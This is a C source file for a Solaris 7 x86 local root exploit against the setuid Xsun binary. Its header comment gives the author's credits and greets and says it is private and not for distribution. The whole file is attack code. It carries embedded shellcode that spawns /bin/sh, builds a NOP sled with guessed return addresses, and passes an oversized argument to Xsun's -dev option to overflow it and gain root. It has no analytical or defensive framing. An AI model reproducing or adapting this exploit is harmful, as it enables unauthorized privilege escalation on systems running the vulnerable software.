/*
 *
 * Solaris 7  Xsun(suid) local overflow - PRIVATE for now!
 * Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
 *
 * Discovered/sploited By DiGiT - teddi@linux.is
 *
 * Greets to all the guys at #hax.
 * Special greetz to crazy-b! and my Icelandic brother Icemav!!
 *
 * Íslendingar gefið mér VINNU! - Ísland lengi lifi or whatever.
 *
 * this is a pre sploit so do not distribute!
 *
 * if this dosen't work, you will need to brute the offset.
 */

#include <stdio.h>
#include <stdlib.h>

// Generic solaris x86 shellcode by cheeze wizz

char shellcode[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {

  char buff[5000];
  int nopcount=2001, bsize=4000, offset=1850;
  int i;

  if (argc > 1) nopcount  = atoi(argv[1]);
  if (argc > 2) bsize  = atoi(argv[2]);
  if (argc > 3) offset = atoi(argv[3]);

  memset (buff, 0x90, bsize);

  for (i = nopcount; i < bsize - 4; i += 4)
    *(long *) &buff[i] = get_esp() + offset;

  memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen(shellcode));
  memcpy (buff, ":", 1);
  printf("Oh boy. DiGiT presents r00t\n");
  execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);
}